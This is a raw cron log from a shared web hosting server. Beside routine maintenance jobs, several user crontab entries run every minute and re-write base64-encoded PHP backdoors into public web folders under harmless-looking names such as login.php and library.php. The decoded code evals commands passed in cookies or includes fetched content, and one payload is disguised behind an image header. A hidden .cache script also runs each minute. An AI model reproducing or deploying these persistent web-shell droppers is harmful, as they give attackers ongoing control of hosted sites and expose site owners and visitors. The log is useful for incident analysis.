Mar  1 08:46:01 medusa CROND[20112]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 08:46:01 medusa CROND[20163]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 08:46:01 medusa CROND[20164]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:46:01 medusa CROND[20165]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:46:01 medusa CROND[20166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:46:01 medusa CROND[20167]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:46:01 medusa CROND[20169]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:46:01 medusa CROND[20170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:46:01 medusa CROND[20172]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:46:01 medusa CROND[20168]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:46:01 medusa CROND[20173]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:46:01 medusa CROND[20182]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:46:01 medusa CROND[20185]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:46:01 medusa CROND[20188]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:46:01 medusa CROND[20189]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 08:47:01 medusa CROND[11394]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:47:01 medusa CROND[11562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:47:01 medusa CROND[11563]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 08:47:01 medusa CROND[11595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:47:01 medusa CROND[11598]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:47:01 medusa CROND[11599]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:47:01 medusa CROND[11600]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 08:47:01 medusa CROND[11602]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:47:01 medusa CROND[11603]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:47:01 medusa CROND[11611]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:47:01 medusa CROND[11612]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:47:01 medusa CROND[11617]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:47:01 medusa CROND[11616]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:48:01 medusa CROND[1587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:48:01 medusa CROND[1610]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:48:01 medusa CROND[1611]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 08:48:01 medusa CROND[1612]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:48:01 medusa CROND[1613]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:48:01 medusa CROND[1614]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:48:01 medusa CROND[1615]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
